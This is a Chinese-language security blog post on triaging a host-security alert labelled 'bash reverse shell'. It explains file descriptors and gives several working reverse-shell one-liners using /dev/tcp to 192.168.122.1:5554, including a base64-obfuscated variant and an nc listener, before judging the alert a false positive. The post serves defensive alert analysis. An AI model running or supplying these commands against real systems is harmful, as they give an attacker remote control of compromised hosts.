bash反弹shell的研判

admin 2023年12月2日22:40:57评论47 views字数 2638阅读8分47秒阅读模式
一、起因
(一)告警信息
某主机安全检测系统产生了名为“bash反弹shell”的告警信息:
发起者:IP1
反弹连接命令:/bin/bash /usr/bin/egrep -i processor|core id|physical id
接收主机:IP2 (80)

(二)问题的提出
告警中相关命令的行为是不是反弹shell?研判bash反弹shell的原则是什么?

以下我们对bash反弹shell的一般实现进行简单研究,总结出研判bash反弹shell的原则,为以后出现的类似事件做准备。

二、反弹shell的概念

(一)反弹shell是什么

反弹shell(reverse shell),就是控制端监听指定的TCP/UDP端口,被控端主动连接到控制端的监听端口,并将本机的cmd shell交给控制端的行为。反弹shell与telnet、ssh等“正向”shell相对,将传统概念上的客户端与服务端的角色进行了反转。
bash反弹shell的研判

(二)反弹shell的适用场景

  • 失陷主机位于防火墙后,防火墙禁止外网主动连接失陷主机,但允许失陷主机发起外联。

  • 失陷主机IP地址是动态的,IP变化后攻击者会失去连接。

  • 失陷主机位于内网,经过地址转换连接外网,外网主机无法主动连接失陷主机。

  • 失陷主机上指定端口被占用,木马后门程序无法监听预设端口。


三、文件描述符和重定向

文件描述符(File Descriptor,fd),Linux中有如下的定义:
  • 文件描述符0表示标准输入,默认为键盘
  • 文件描述符1表示标准输出,默认为显示器
  • 文件描述符2表示标准错误,默认为显示器
Linux系统只定义了0到2作为文件描述符的使用,3和以上的数字可以自行指定其用法。看下面的例子:
echo "12345678" > file.txt
exec 3<file.txt
grep "1234"<&3
输出:
12345678
解释:
echo "12345678" > file.txt  //将12345678重定向到文件中,这样就创建了文件并写入了内容
exec 3<file.txt  //创建文件描述符3,并将文件描述符3指向test.txt文件
grep "1234"<&3  //将文件描述符3指定的文件作为grep命令的输入,最终查询得到了结果
SourceURL:file:///home/user1/桌面/广州农商行/11.知识库/告警研判/bash反弹shell/bash反弹shell.docx

四、反弹shell实例

(一)失陷主机使用bash命令发起反弹连接

例1:

bash -i >& /dev/tcp/192.168.122.1/5554 0>&1
bash反弹shell的研判
解释:
bash -i //创建一个交互式的bash进程
/dev/tcp/192.168.122.1/5554 //指定文件(与192.168.122.1的5554端口建立连接。在Linux系统中,将网络连接也看做文件)
>& //cmd >& 这种写法相当于cmd >& file 2>&1,也就是说将bash的标准输出和标准错误都重定向到文件,也就是192.168.122.1的5554端口
0>&1  //将bash的标准输入重定向到标准输出,而标准输出在192.168.122.1的5554端口,这样192.168.122.1得到了失陷主机的标准输出、标准输出和标准错误,实现了反弹shell

例2:

bash -i 5<>/dev/tcp/192.168.122.1/5554 0>&5 1>&5
解释:
bash -i //创建一个交互式的bash进程
5<>/dev/tcp/192.168.122.1/5554 //将文件描述符5指向192.168.122.1的5554端口
0>&5 //将标准输入重定向到文件描述符5,也就是192.168.122.1的5554端口
1>&5 //将标准输出重定向到文件描述符5,也就是192.168.122.1的5554端口
这样,192.168.122.1得到了失陷主机的标准输入和标准输出,虽然没有标准错误,但是也实现了反弹shell

例3:

exec 5<>/dev/tcp/192.168.122.1/5554
cat <&5 | while read line 0<&5; do $line 2>&5 >&5; done
bash反弹shell的研判

解释:
exec 5<>/dev/tcp/192.168.122.1/5554 //将文件描述符5重定向到192.168.122.1的5554端口
cat <&5 //使用cat读取文件描述符5的内容,也就是说,读取从192.168.122.1的5554端口输入的内容
|  //管道符,cat读取的结果作为后面的输入
while read line; do $line >&5; done  //在while循环中读取文件描述符5的每一行,作为命令执行,再将执行的标准输出和标准错误重定向到文件描述符5,即192.168.122.1的5554端口

例4:

0<&56-;exec 56<>/dev/tcp/192.168.122.1/5554;sh <&56 >&56 2>&56
bash反弹shell的研判

虽然报错,但是反弹连接是成功的。
解释:
0<&56- //将标准输入重定向为文件描述符56
exec 56<>/dev/tcp/192.168.122.1/5554 //将文件描述符56重定向到192.168.122.1的5554端口
sh <&56 >&56 2>&56 //标准输入重定向到文件描述符56,标准输出和标准错误也都重定向到文件描述符56

例5:

将反弹连接指令进行base64编码
bash -i >& /dev/tcp/192.168.122.1/5554 0>&1
编码为:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMi4xLzU1NTQgMD4mMQ==}|{base64,-d}|{bash,-i}

(二)攻击者在VPS监听反弹连接

//监听本地的5554端口,被攻击者运行反弹命令后即可得到shell
nc -l -p 5554
bash反弹shell的研判
获得了反弹shell。


五、总结

通过以上针对bash反弹shell的研究可知,要实现成功的反弹连接,首先需要指定反弹连接到的VPS主机的IP地址和监听端口,之后再将失陷主机命令行的标准输入、标准输出和标准错误重定向到VPS。由此看来,前面的bash反弹shell告警信息,由于bash命令中没有指定远程主机和端口,也没有重定向操作,因此不是反弹shell,可判定为误报。

原文始发于微信公众号(新蜂网络安全实验室):bash反弹shell的研判

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月2日22:40:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   bash反弹shell的研判https://cn-sec.com/archives/2263135.html

发表评论

匿名网友 填写信息